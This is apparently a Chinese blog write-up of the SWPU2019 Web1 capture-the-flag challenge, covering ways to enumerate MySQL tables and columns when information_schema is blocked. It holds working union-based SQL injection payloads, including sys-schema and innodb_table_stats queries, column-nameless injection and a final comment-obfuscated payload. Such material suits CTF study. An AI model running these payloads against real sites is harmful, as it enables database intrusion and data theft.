[SWPU2019]Web1--关于information_schema的绕过方式

这个知识点没接触过,记录一下,顺便修正一下网上文章的坑点

绕过方式总结

一:sys.schemma
限制:
mysql ≥ 5.7版本
般要超级管理员才可以访问sys
payload:
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
?id=-1' union all select*from (select * from users as a join users b)c--+ #获取第一列的列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+ #获取次列及后续列名

二:无列名注入
(select `2` from (select 1,2,3 union select * from table_name)a) #前提是要知道表名
((select c from (select 1,2,3 c union select * from users)b)) #1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量

三:innodb引擎
限制:
mysql ≥ 5.5版本
mysql.innodb_table_stats 或 mysql.innodb_table_index 存放所有库名,表名
select group_concat(table_name) from mysql.innodb_table_stats
select table_name from mysql.innodb_table_stats where database_name=库名

 

解题

这题技巧一在buuctf种用不了,会提示无此函数

技巧三就不说了复制粘贴就行,

主要是在技巧二的地方遇到坑了

先放一下我的最终payload:

11'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21'

 

排坑

首先网上很多文章是chao的,所有根本没说清楚users表三列是怎么试出来的,首先我们试下他们的流程

 

 这样是没问题的

 

 

 

 

这两个也是没问题的

但是原题环境跟这个并不相同,你得首先构造一个查询,以此为例

 

 接着进行union注入

 

 此时在2的位置替换,我们的联合查询

 

你会发现报错,题目环境也是这个报错,说明这样并不能用,那怎么进行猜列数呢

如果你这样写,会报一个多数据错误,所以group_concat是必须的

 

 此时才能完成查询功能,所以猜列的payload必须完整输入时才能进行,并不是和正常查询一样在之前进行的列猜测

然后我发现题目并没有限制 `` 符号,所以可以直接查询

ps:真是想吐槽一下,写文章自己都没弄明白就一通chao的真的太多了,连payload都一样,自己都不试试吗???写这篇文章也是给新做题的朋友一个正确的提示,这帮人真的太划了!!!

 

posted @ 2021-07-20 14:18  TJ_WaTer  阅读(253)  评论(0编辑  收藏  举报